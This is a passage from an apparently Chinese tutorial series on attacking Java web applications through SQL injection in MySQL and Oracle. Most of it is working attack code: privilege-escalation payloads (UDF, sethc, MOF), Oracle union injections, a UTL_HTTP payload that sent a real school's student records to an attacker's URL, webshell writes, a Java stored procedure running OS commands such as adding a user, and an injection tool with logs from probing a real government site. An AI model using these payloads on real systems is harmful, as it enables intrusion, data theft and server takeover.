BLOB 换成 BINARY 发现成功执行 了。 于是用构建的表单再次执行下面的语句: SELECT * from corps where id = 1 and 1=2 union select '','','', CONVERT(0x 不解释,BINARY) INTO DUMPFILE'D:/install/dev/mysql5.5/lib/plugin/udf.dll' 第 62 页 这次执行成功了,哦多么痛的领悟……一开始把 CHAR 写成 BINARY 不就搞定了,二的太 明显了。其实上面的二根本就不是事儿,更二的是当我要执行的时候恍然发现根本就没有办 法去创建 function 啊! O shit shift~前面已经说了 Mysql Driver 在 pstt.executeQuery()是不支 持多行查询的,一个 select 再怎么也不能跟 create 同时执行。为了不影响大家心情还是继 续写下去吧,命令行建立一个 function,然后在注入点注入(如果有前人已经创建 udf 的情 况下可以直接利用): 因为没有办法去创建一个 function 所以用注入点实现 udf 提权在上一步就死了,通过在 第 63 页 命令行执行创建 function 只能算是心理安慰了,只要完成了 create function 那一步我们就真 的成功了,因为调用自定义 function 非常简单: 3、 MOF和sethc提权: MOF和sethc提权我就不详讲了,因为看了上面的udf提权你已经具备自己导入任意文件 到任意目录了,而MOF实际上就是写一个文件到指定目录,而sethc提权我只成功模糊的过 一次。在命令行下利用SQL大概是这样的: create table mix_cmd( shift longblob); insert into mix_cmd values(load_file(‘c:\\windows\\system32\\cmd.exe’)); select * from mix_cmd into dumpfile ‘c:\\windows\\system32\\sethc.exe’; drop table if exists mix_cmd; 现在的管理员很多都会自作聪明的去把net.exe、net1.exe 、cmd.exe、sethc.exe删除防 止入侵。当sethc不存在时我们可以用这个方法去试下,怎么确定是否存在?load_file下看人 品了,如果cmd和sethc都不存在那么按照上面的udf提权三部曲上传一个cmd.exe到任意目录。 SELECT LOAD_FILE('c:/windows/system32/cmd.exe') INTO DUMPFILE'c:/windows/system32/sethc.exe' MOF大约是这样: http://localhost/SqlInjection/index.jsp?id=1 and 1=2 union select char(ascii转换后的代码),'','','' into dumpfile 'c:/windows/system32/wbem/mof/nullevts.mof' Mysql小结: 我想讲的应该是一种方法而不是 SQL 怎么去写,学会了方法自然就会自己去拓展,当 然了最好不要向上面 udf 那么二。有了上面的 demo 相信大家都会知道怎么去修改满足自己 的需求了。学的不只是方法而是思路切记! 第 64 页 攻击 JavaWeb 应用[4] -SQL 注入[2] -园长 MM 注:这一节主要是介绍 Oracle 和 SQL 注入工具相关,本应该是和前面的 Mysql 一起但是由于章节过长了没法看,所以就分 开了。 1、Oracle Oracle Database,又名 Oracle RDBMS,或简称 Oracle。是甲骨文公司的一款关系数据库 管理系统。 Oracle 对于 MYSQL、MSSQL 来说意味着更大的数据量,更大的权限。这一次我们依旧 使用上面的代码,数据库结构平移到 Oracle 上去,数据库名用的默认的 orcl,字段"corps_desc" 从 text 改成了 VARCHAR2(4000),JSP 内的驱动和 URL 改成了对应的 Oracle。 Jsp 页面代码: 第 65 页 开始注入: Union +order by 永远都是最快捷最实用的,而盲注什么的太费时费力了。依旧提交 order by 去猜测显示当前页面所用的 SQL 查询了多少个字段,也就是确认查询字段数。 分别提交 http://localhost/SqlInjection/index.jsp?id=1 AND 1=1 和?id=1 AND 1=12 得到的 页面明显不一致,1=12 页面没有任何数据,即 1=12 为 false 没查询到任何结果。 http://localhost/SqlInjection/index.jsp?id=1 AND 1=12 第 66 页 提交:http://localhost/SqlInjection/index.jsp?id=1 ORDER BY 4-- 页面正常,提交:?id=1 ORDER BY 5--报错说明字段数肯定是 4。 Order by 5 爆出的错误信息: 使用union 进行联合查询: Oracle的dual表: dual是一个虚拟表,用来构成select的语法规则,oracle保证dual里面永远只有 一条记录,在Oracle注入中用途可谓广泛。 Oracle union 查询 tips: Oracle 在使用union 查询的跟Mysql不一样Mysql里面我用1,2,3,4就能占位,而 在Oracle里面有比较严格的类型要求。也就是说你union select的要和前面的SELECT * from "corps" where "id" = 1 当中查询的字段类型一致。我们已知查询的第二个字 段是corps_name,对应的数据类型是:VARCHAR2(100),也就是字符型。当我们传入整 第 67 页 型的数字时就会报错。比如当我们提交union查询时提交如下SQL注入语句: http://localhost/SqlInjection/index.jsp?id=1 and 1=2 UNION SELECT 1,2,NULL,NULL FROM dual-- Oracle当中正确的注入方式用NULL去占位在我们未知哪个字段是什么类型的时候: http://localhost/SqlInjection/index.jsp?id=1 and 1=2 UNION SELECT NULL,NULL,NULL,NULL FROM dual-- 当已知第一个字段是整型的时候: http://localhost/SqlInjection/index.jsp?id=1 and 1=2 UNION SELECT 1,NULL,NULL,NULL FROM dual-- SQL执行后的占位效果: 根据我们之前注入Mysql的经验,我们现在要尽可能多的去获取服务器信息和数据库, 比如数据库版本、权限等。 在讲Mysql注入的时候已经说道要合理利用工具,在Navicat客户端执行select * 第 68 页 from session_roles结果: Oracle查询分页tips: 不得不说Oracle查询分页的时候没有Mysql那么方便,Oracle可不能limit 0,1而 是通过三层查询嵌套的方式实现分页(查询第一条数据“>=0<=1”取交集不就是1么?我数 学5分党,如果有关数学方面的东西讲错了各位莫怪): SELECT * FROM ( SELECT A.*, ROWNUM RN FROM (select * from session_roles) A WHERE ROWNUM <= 1 ) WHERE RN >= 0 在Oracle里面没有类似于Mysql的group_concat,用分页去取数据,不过有更加简单的方 法。 是用UNION SELECT 查询: http://localhost/SqlInjection/index.jsp?id=1 UNION ALL SELECT NULL, NULL, NULL, NVL(CAST(OWNER AS VARCHAR(4000)),CHR(32)) FROM (SELECT DISTINCT(OWNER) FROM SYS.ALL_TABLES)-- 第 69 页 不过我得告诉你,UNION SELECT查询返回的是多个结果,而在正常的业务逻辑当中我们 取一条新闻是直接放到对应的实体当中的,比如我们查询的wooyun的厂商表:corps,那么 我们做查询的很有可能是抽象出一个corps对象,在DAO层取得到单个的参数结果集,如果有 多个要么报错,要么取出第一条。然后再到controller层把查询的结果放到请求里面。最终在 输出的时候自然也就只能拿到单个的corps实体,这也是视图层只做展示把业务逻辑和视图 分开的好处之一,等讲到MVC的时候试着给不懂的朋友解释一下。 再来看一下我们丑陋的在页面展示数据的代码: 接下来的任务就是收集信息了,上面我们已经收集到数据库所有的用户的用户名和我们 当前用户的权限。 获取所有的数据库表: http://localhost/SqlInjection/index.jsp?id=1 UNION ALL SELECT NULL, NULL, NULL, NVL(CAST(OWNER AS VARCHAR(4000)),CHR(32))||CHR(45)||CHR(45)||CHR(45)||CHR(45)||CHR( 45)||CHR(45)||NVL(CAST(TABLE_NAME AS VARCHAR(4000)),CHR(32)) FROM SYS.ALL_TABLES WHERE OWNER IN (CHR(67)||CHR(84)||CHR(88)||CHR(83)||CHR(89)||CHR(83),CHR(69)||CH R(88)||CHR(70)||CHR(83)||CHR(89)||CHR(83),CHR(77)||CHR(68)||CHR(8 3)||CHR(89)||CHR(83),CHR(79)||CHR(76)||CHR(65)||CHR(80)||CHR(83)| |CHR(89)||CHR(83),CHR(83)||CHR(67)||CHR(79)||CHR(84)||CHR(84),CHR (83)||CHR(89)||CHR(83),CHR(83)||CHR(89)||CHR(83)||CHR(84)||CHR(69 )||CHR(77),CHR(87)||CHR(77)||CHR(83)||CHR(89)||CHR(83))— 第 70 页 连接符我用的是-转换成编码也就是45 已列举出所有的表名: 当UNION ALL SELECT 不起作用的时候我们可以用上面的Oracle分页去挨个读取, 缺点就是效率没有UNION ALL SELECT高。 第 71 页 信息版本获取: http://localhost/SqlInjection/index.jsp?id=1 and 1=2 UNION SELECT NULL, NULL, NULL, (select banner from sys.v_$version where rownum=1) from dual— 获取启动Oracle的用户名:select SYS_CONTEXT ('USERENV','OS_USER') from dual; 服务器监听IP:select utl_inaddr.get_host_address from dual; 服务器操作系统:select member from v$logfile where rownum=1; 当前连接用户:select SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual; 获取当前连接的数据库名:select SYS_CONTEXT ('USERENV', 'DB_NAME') from dual; 关于获取敏感的表和字段说明: 1、获取所有的字段schema:select * from user_tab_columns 2、获取当前用户权限下的所有的表:SELECT * FROM User_tables 上述SQL通过添加Where条件就能获取到常见注入的敏感信息,请有心学习的同学按照 上面的MYSQL注入时通过information_schema获取敏感字段的方式去学习 user_tab_columns和FROM User_tables表。 第 72 页 Oracle高级注入: 1、友情备份 在讲Mysql的时候提到过怎么在注入点去构造SQL语句去实现友情备份,在去年注入某 大牛学校的教务处的时候我想到了一个简单有效的SQL注入点友情备份数据库的方法。没错 就是利用Oracle的utl_http包。Oracle的确是非常的强大,utl_http就能过直接对外发送Http 请求。我们可以利用utl_http去SQL注入,那么我们一样可以利用utl_http去做友情备份。 构建以下SQL注入语句: http://60.xxx.xx.131/xxx/aao_66/index.jsp?fid=1+and+'1'in(SELECT+UTL_HTTP.request('http: //xxx.cn:8080/xxxx/mysql.jsp?data='||ID||'----'||USERID||'----'||NAME||'----'||RELATION||'----' ||OCCUPATION||'----'||POSITION||'----'||ASSN||UNIT||'----'||'----'||TEL)+FROM+STU_HOME) UTL_HTTP 会带着查询数据库的结果去请求我们的URL,也就是我注入点上写的URL。 Tips:UTL_HTTP是一条一条的去请求的,所以会跟数据库保持一个长连接。而数据量过大 的话会导致数据丢失,如果想完整的友情备份这种方法并不是特别可行。只用在浏览器上请 求这个注入点Oracle会自动的把自己的裤子送上门来那种感觉非常的好。 第 73 页 使用UTL_HTTP友情备份效果图: utl_http在注入的时候怎么去利用同理,由于我也没有去深入了解utl_http或许他还有其 他的更实用的功能等待你去发现。 使用UTL_FILE友情备份: 创建目录: 第 74 页 create or replace directory cux_log_dir as 'E:/soft/apache-tomcat-7.0.37/webapps/ROOT/selina'; 导出数据到文件: declare frw utl_file.file_type; begin frw:=utl_file.fopen('CUX_LOG_DIR','emp.txt','w'); for rec in (select * from admin) loop utl_file.put_line(frw,rec.id||','||rec.password); end loop; utl_file.fclose(frw); end; / 效果图: 1、 GetShell 之前的各种Oracle文章似乎都提过怎样去getshell,其实方法倒是有的。但是在 Java里面你要想拿到WEB的根路径比那啥还难。但是PHP什么的就不一样了,PHP里面爆个 路径完全是家常便饭。因为数据库对开发语言的无关系,所以或许我们在某些场合下以下的 getshell方式也是挺不错的。 1、 在有Oracle连接权限没有webshell时候通过utl_file获取shell (当然用户必须的具有创建DIRECTORY的权限): 第 75 页 执行:create or replace directory getshell_dir as 'E:/soft/apache-tomcat-7.0.37/webapps/SqlInjection/'; 当然了as后面跟的肯定是你的WEB路径。 执行以下SQL语句: 创建目录: create or replace directory getshell_dir as 'E:/soft/apache-tomcat-7.0.37/webapps/SqlInjection/'; 写入shell到指定目录:注意directory在这里一定要大写: declare frw utl_file.file_type; begin frw:=utl_file.fopen('GETSHELL_DIR','yzmm.jsp','w'); utl_file.put_line(frw,'hello world.'); utl_file.fclose(frw); end; / 第 76 页 2、 在低权限下getshell: 执行以下SQL创建表空间: create tablespace shell datafile 'E:/soft/apache-tomcat-7.0.37/webapps/SqlInjection/shell.jsp' size 100k nologging ; CREATE TABLE SHELL(C varchar2(100)) tablespace shell; insert into SHELL values('hello world'); commit; alter tablespace shell offline; drop tablespace shell including contents; 第 77 页 这方法是能写文件,但是好像没发现我的hello world,难道是我打开方式不对? 3、 Oracle SQLJ编译执行Java代码: 众所周知,由于sun那只土鳖不争气居然被oracle给收购了。不过对Oracle来说的确 是有有不少优势的。 SQLJ是一个与Java编程语言紧密集成的嵌入式SQL的版本,这里"嵌入式SQL"是用来 在其宿主通用编程语言如C、C++、Java、Ada和COBOL)中调用SQL语句。 SQL翻译器用SQLJ运行时库中的调用来替代嵌入式SQLJ语句,该运行时库真正实现 SQL操作。这样翻译的结果是得到一个可使用任何Java翻译器进行编译的Java源程序。一 旦Java源程序被编译,Java执行程序就可在任何数据库上运行。 SQLJ运行环境由纯Java实现的小SQLJ运行库(小,意指其中包括少量的代码)组成, 该运行时库转而调用相应数据库的JDBC驱动程序。 SQLJ可以这样玩:首先创建一个类提供一个静态方法: 其中的getShell是我们的方法名,p和才是参数,p是路径,而c是要写的文件内容。 在创建Java存储过程的时候方法类型必须是静态的static 执行以下SQL创建Java储存过程: create or replace and compile java source named "getShell" as public class GetShell {public static int getShell(String p, String c) {int RC = -1;try {new java.io.FileOutputStream(p).write(c.getBytes());RC = 1;} catch (Exception e) {e.printStackTrace();}return RC;}} 创建函数: create or replace function getShell(p in varchar2, c in varchar2) return number as language java name 'util.getShell(java.lang.String, java.lang.String) return 第 78 页 Integer'; 创建存储过程: create or replace procedure RC(p in varChar, c in varChar) as x number; begin x := getShell(p,c); end; 授予Java权限: variable x number; set serveroutput on; exec dbms_java.set_output(100000); grant javasyspriv to system; grant javauserpriv to system; 写webshell: exec :x:=getShell('d:/3.txt','selina'); 第 79 页 SQLJ执行cmd命令: 方法这里和上面几乎大同小异,一样的提供一个静态方法,然后去创建一个存储过程。 然后调用Java里的方法去执行命令。 创建Java存储过程: create or replace and compile java source named "Execute" as import java.io.BufferedReader; import java.io.InputStreamReader; public class Execute { public static void executeCmd(String c) { try { String l="",t; BufferedReader br = new BufferedReader(new 第 80 页 InputStreamReader(java.lang.Runtime.getRuntime().exec(c).getInputStre am(),"gbk")); while((t=br.readLine())!=null){ l+=t+"\n"; } System.out.println(l); } catch (Exception e) { e.printStackTrace(); } } } / 2、创建存储过程executeCmd: create or replace procedure executeCmd(c in varchar2) as language java name 'Execute.executeCmd(java.lang.String)'; / 执行存储过程: exec executeCmd('net user selina 123 /add'); 第 81 页 上面提供的命令执行和getshell创建方式对换一下就能回显了,如果好不清楚怎么让命令 执行后回显可以参考: http://hi.baidu.com/xpy_home/item/09cbd9f3fd30ef0585d27833 。 一个不错的SQLJ的demo(犀利的 oracle 注入技术)。 http://huaidan.org/archives/2437.html 2、自动化的 SQL 注入工具实现 通过上面我们对数据库和 SQL 注入的熟悉,现在可以自行动手开发注入工具了吧? 很久以前非常粗糙的写了一个 SQL 注入工具类,就当作 demo 给大家做个演示了,仅提供核 心代码,案例中的 gov 网站请勿非常攻击! 简单的 SQL Oder by 注入实现的方式核心代码: 1、分析URLpublic static void AnalysisUrls(String site) throws Exception 这个方法主要是去分析URL的组成是否静态化等。 2、检测是否存在: 这个做的粗糙了些,只是通过请求提交不同的SQL注入语句去检测页面返回的情况: /** * 分析SQL参数是否存在注入 * @param str */ public static void AnalysisUrlDynamicParamSqlInjection(String str[]) { Map<String,Object> content,content2; sqlKey = new ArrayList<Object>(); content = HttpHelper.sendGet(protocol+"://"+schema+":"+port+"/"+filesIndex+"/"+ file,parameter);//原始的请求包 int len1 = content.get("content").toString().length();//原始请求 的response长度 boolean typeIsNumber = false; String c1[] = {"'","-1",")\"\"\"\"\"()()",")+ANd+3815=3835+ANd+(1471=1471",") ANd+9056=9056+ANd+(9889=9889"," ANd+6346=6138 "," ANd+9056=9056"};//需 要检查的对象 for (int i = 0; i < str.length; i++) { typeIsNumber = StringUtil.isNotEmpty(str[i].split("="))&&StringUtil.isNum(str[i].spl it("=")[1])?true:false; for (int j = 0; j < c1.length; j++) { content2 = HttpHelper.sendGet(protocol+"://"+schema+":"+port+"/"+filesIndex+"/"+ file,parameter.replace(str[i], 第 82 页 str[i].split("=")[0]+"="+str[i].split("=")[1]+c1[j])); if (len1 != content2.get("content").toString().length()||(Integer)content2.get("s tatus")!=200) { existsInjection = true; sqlKey.add(str[i]); break ; } } } if (existsInjection) { // System.out.println(existsInjection?"Site:"+url+" 可能存 在"+(typeIsNumber?"int":"String")+"型Sql注入"+"SQL注入.":"Not Found."); getSelectColumnCount(str); getDatabaseInfo(); } } 检测过程主要发送了几次请求,一次正常的请求和N次带有SQL注入的请求。如果SQL 注入的请求和正常请求的结果不一致(有不可控因素,比如SQLMAP的实现方式就有去计算 页面是否稳定,从而让检测出来的结果更加准确)就可能是存在SQL注入。 日志如下: url:http://www.tchjbh.gov.cn:80//news_display.php param:id=148 url:http://www.tchjbh.gov.cn:80//news_display.php param:id=148' url:http://www.tchjbh.gov.cn:80//news_display.php param:id=148 获取字段数主要是通过: /** * 获取查询字段数 * @param str */ public static int getSelectColumnCount(String str[]){ Map<String,Object> sb = HttpHelper.sendGet(protocol+"://"+schema+":"+port+"/"+filesIndex+"/"+ file,parameter);//原始的请求包 int len1 = sb.get("content").toString().length();//原始请求的 response长度 int count = -1; for (Object o : sqlKey) { count = getSbCount(o.toString(), len1);//计算字段 第 83 页 } return count; } /** *获取order by 字段数 * @param key * @param len1 * @return */ public static int getSbCount(String key,int len1){ System.out.println("-----------------------end:"+end+"----------- ------------------"); Map<String,Object> sb = HttpHelper.sendGet(uri, parameter.replace(key, key+"+orDer+By+"+end+"+%23")); if (1 == end|| len1==((String)sb.get("content")).length()&&200==(Integer)sb.get("sta tus")) { System.out.println("index:"+end); start = end; for (int i = start; i < 2*start+1; i++) { System.out.println("************开始精确匹配 *****************"); Map<String,Object> sb2 = HttpHelper.sendGet(uri, parameter.replace(key, key+"+orDer+By+"+end+"+%23")); Map<String,Object> sb3 = HttpHelper.sendGet(uri, parameter.replace(key, key+"+orDer+By+"+(end+1)+"+%23")); if (((String)sb3.get("content")).length()!=((String)sb2.get("content")). length()&&200==(Integer)sb2.get("status")) { System.out.println("order by 字段数为:"+end); sbCount = end;//设置字段长度为当前检测出来的长度 return index = end; }else { end++; } } }else { end = end/2; getSbCount(key, len1); } return index; } 第 84 页 利用检测是否存在SQL注入的原理同样能过检测出查询的字段数。我们通过二分去 order一个by 一个数然后去请求分析页面一致性。然后不停的去修改数值最终结果相等 即可获得字段数。上面的分析的代码挺简单的,有兴趣的同学自己去看。日志如下: ************开始精确匹配***************** url:http://www.tchjbh.gov.cn/news_display.php param:id=148+orDer+By+15+%23 url:http://www.tchjbh.gov.cn/news_display.php param:id=148+orDer+By+16+%23 ************开始精确匹配***************** url:http://www.tchjbh.gov.cn/news_display.php param:id=148+orDer+By+16+%23 url:http://www.tchjbh.gov.cn/news_display.php param:id=148+orDer+By+17+%23 ************开始精确匹配***************** url:http://www.tchjbh.gov.cn/news_display.php param:id=148+orDer+By+17+%23 url:http://www.tchjbh.gov.cn/news_display.php param:id=148+orDer+By+18+%23 ************开始精确匹配***************** url:http://www.tchjbh.gov.cn/news_display.php param:id=148+orDer+By+18+%23 url:http://www.tchjbh.gov.cn/news_display.php param:id=148+orDer+By+19+%23 ************开始精确匹配***************** url:http://www.tchjbh.gov.cn/news_display.php param:id=148+orDer+By+19+%23 url:http://www.tchjbh.gov.cn/news_display.php param:id=148+orDer+By+20+%23 ************开始精确匹配***************** url:http://www.tchjbh.gov.cn/news_display.php param:id=148+orDer+By+20+%23 url:http://www.tchjbh.gov.cn/news_display.php param:id=148+orDer+By+21+%23 ************开始精确匹配***************** url:http://www.tchjbh.gov.cn/news_display.php param:id=148+orDer+By+21+%23 url:http://www.tchjbh.gov.cn/news_display.php param:id=148+orDer+By+22+%23 order by 字段数为:21 skey:id=148 在知道了字段数后我们就可以通过构建关键字的方式去获取SQL注入查询的结果,我们 的目的无外乎就是不停的递交SQL注入语句,把我们想要得到的数据库的信息展示在页面, 第 85 页 然后我们通过自定义的关键字去取回信息到本地: /** * 测试,获取数据库表信息 */ public static void getDatabaseInfo(){ String skey = sqlKey.get(0).toString(); System.out.println("skey:"+skey); StringBuilder union = new StringBuilder(); for (int i = 0; i < sbCount; i++) { union.append("concat('[mjj]','[version]',version(),'[/version]',' [user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj ]'),"); } Map<String,Object> sb = HttpHelper.sendGet(uri, parameter.replace(skey, skey+("-1+UnIon+SeleCt+"+(union.delete(union.length()-1, union.length()))+"%23"))); String rs = ((String)sb.get("content")); String user = rs.substring(rs.lastIndexOf("[user]")+6,rs.lastIndexOf("[/user]")); String version = rs.substring(rs.lastIndexOf("[version]")+9,rs.lastIndexOf("[/version] ")); String database = rs.substring(rs.lastIndexOf("[database]")+10,rs.lastIndexOf("[/databa se]")); System.err.println("user:"+user); System.err.println("version:"+version); System.err.println("database:"+database); } 代码执行的日志: url:http://www.tchjbh.gov.cn/news_display.php param:id=148-1+UnIon+SeleCt+concat('[mjj]','[version]',version(),'[/v ersion]','[user]',user(),'[/user]','[database]',database(),'[/databas e]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[use r]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'), concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/ user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]' ,'[version]',version(),'[/version]','[user]',user(),'[/user]','[datab ase]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',v ersion(),'[/version]','[user]',user(),'[/user]','[database]',database (),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/ve 第 86 页 rsion]','[user]',user(),'[/user]','[database]',database(),'[/database ]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user ]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),c oncat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/u ser]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]', '[version]',version(),'[/version]','[user]',user(),'[/user]','[databa se]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',ve rsion(),'[/version]','[user]',user(),'[/user]','[database]',database( ),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/ver sion]','[user]',user(),'[/user]','[database]',database(),'[/database] ','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user] ',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),co ncat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/us er]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]',' [version]',version(),'[/version]','[user]',user(),'[/user]','[databas e]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',ver sion(),'[/version]','[user]',user(),'[/user]','[database]',database() ,'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/vers ion]','[user]',user(),'[/user]','[database]',database(),'[/database]' ,'[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]' ,user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),con cat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/use r]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[ version]',version(),'[/version]','[user]',user(),'[/user]','[database ]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',vers ion(),'[/version]','[user]',user(),'[/user]','[database]',database(), '[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/versi on]','[user]',user(),'[/user]','[database]',database(),'[/database]', '[/mjj]')%23 user:tchjbh@127.0.0.1 version:5.1.56-community database:tchjbh 3、模拟 SQL 注入分析注入工具原理 下面这个演示是针对想自己拓展上面写的 SQL 注入工具的同学。这次我才用的是 PHP 语言去弄清 SQL 注入工具的具体实现。数据库采用的是 wordpress 的结构,数据库结构如下, 建议在本地先安装好 wordpress 任意版本: 第 87 页 代码如下: <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=gbk" /> <style> .main{margin:0 auto;width:980px;border:1px dashed } .title{line-height:25px; text-align:center; font-size:18px; font-weight:500} pre{text-indent: 2em; margin:20px auto 10px 20px;} </style> <title></title> </head> <body> <div class="main"> <?php extract($_GET);//to Map if(!empty($id)){ $con = mysql_connect("localhost","root","111111");//连接数据库 $db_selected = mysql_select_db("wps",$con);//选择数据库 mysql_query("SET NAMES 'GBK'"); //设置编码 $sql = "SELECT * from wps_posts where ID = ".$id;//查询文章语句 echo "<font color=red>".$sql."</font>";//打印SQL /*截取SQL注入工具的SQL*/ 第 88 页 $paths="getsql.txt";//定义要生成的html路径 $handles=fopen($paths,"a");//以可写方式打开路径 fwrite($handles,$sql."\t\t\n\n\n");//写入内容 fclose($handles);//关闭打开的文件 $result = mysql_query($sql,$con);//执行查询 /*结果遍历*/ while ($row=mysql_fetch_array($result)) { echo "<div class=title>".$row['post_title']."</div>";//把结 果输出到界面 echo "<pre>".$row['post_content']."</pre>";//文章内容 } mysql_close($con);//关闭数据库连接 } ?> </div> </body> </html> 建立好数据库和表之后访问(由于我采用的是自己的 wp 博客,所有有大量的测试数据如果 没有数据建议安装个 wordpress 方便以后的测试): SQL 注入测试: 第 89 页 让我们来看下 m4xmysql 究竟在 SQL 注入点提交了那些数据,点击 start 我们的 PHP 程序 会自动在同目录下生成一个 getsql.txt 打开后发现我们截获到如下 SQL: 第 90 页 看起来不算多,因为我没有自动换行,以上是在获取数据库相关信息。 让我来带着大家翻译这些 SQL 都做了些什么: /*检测该 URL 是否存在 SQL 注入*/ SELECT * from wps_posts where ID = 739 and 1=0 SELECT * from wps_posts where ID = 739 and 1=1 /*这条 sql 开始查询的字段数,请注意是查询的字段数而不是表的字段数!*/ SELECT * from wps_posts where ID = 739 and 1=0 union select concat(0x5b68345d,0,0x5b2f68345d)-- SELECT * from wps_posts where ID = 739 and 1=0 union select concat(0x5b68345d,0,0x5b2f68345d),concat(0x5b68345d,1,0x5b2f68345d)-- SELECT * from wps_posts where ID = 739 and 1=0 union select concat(0x5b68345d,0,0x5b2f68345d),concat(0x5b68345d,1,0x5b2f68345d),concat(0x5b68345d, 2,0x5b2f68345d)-- /*........................省去其中的无数次字段长度匹配尝试................................*/ /*匹配出来 SELECT * from wps_posts where ID = 739 一共查询了 10 个字段*/ /*那么他是怎么判断出字段数 10 就是查询的长度的呢?答案很简单提交以下 SQL 占位 10 个页面显示正常而前面提交的都错误所以得到的数量自然就是 10了。获取请求的 http status 或许应该就行了*/ 第 91 页 SELECT * from wps_posts where ID = 739 and 1=0 union select concat(0x5b68345d,0,0x5b2f68345d),concat(0x5b68345d,1,0x5b2f68345d),concat(0x5b68345d, 2,0x5b2f68345d),concat(0x5b68345d,3,0x5b2f68345d),concat(0x5b68345d,4,0x5b2f68345d),con cat(0x5b68345d,5,0x5b2f68345d),concat(0x5b68345d,6,0x5b2f68345d),concat(0x5b68345d,7,0x 5b2f68345d),concat(0x5b68345d,8,0x5b2f68345d),concat(0x5b68345d,9,0x5b2f68345d),concat( 0x5b68345d,10,0x5b2f68345d),concat(0x5b68345d,11,0x5b2f68345d),concat(0x5b68345d,12,0x 5b2f68345d),concat(0x5b68345d,13,0x5b2f68345d),concat(0x5b68345d,14,0x5b2f68345d),conc at(0x5b68345d,15,0x5b2f68345d),concat(0x5b68345d,16,0x5b2f68345d),concat(0x5b68345d,17, 0x5b2f68345d),concat(0x5b68345d,18,0x5b2f68345d),concat(0x5b68345d,19,0x5b2f68345d),co ncat(0x5b68345d,20,0x5b2f68345d),concat(0x5b68345d,21,0x5b2f68345d),concat(0x5b68345d, 22,0x5b2f68345d)-- 以上的 SQL 完成了注入点(http://localhost/Test/1.php?id=739 执行的 SELECT * from wps_posts where ID = 739)的类型、是否存在和字段数量的检测 里面有许多的 0x5b2f68345d 转换过来其实就是占位符,为了让工具扒下源代码后能够在页面类找到具有 特殊意义的字符并进行截取: 如果你足够聪明或仔细会发现他这样写有点浪费资源,因为他的 order 是从 1 一直递 增到争取的长度的假如字段特别长(一般情况下还是很少出现的)可能要执行几十个甚至 是更多的 HTTP 请求,如果这里使用二分法或许可以很好的解决吧。 我们接着往下看(还是点击 start 后发送的请求): /*获取数据库相关信息*/ SELECT * from wps_posts where ID = 739 and 1=0 union select concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,versio n(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d ,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,use 第 92 页 r(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d ,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database (),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b 64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f7 65d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d, version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f7 5735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735 d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64 625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,dat abase(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat (0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x 5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b 765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x 5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b 75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x 5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b6462 5d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d), concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,versio n(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d ,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,use r(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d 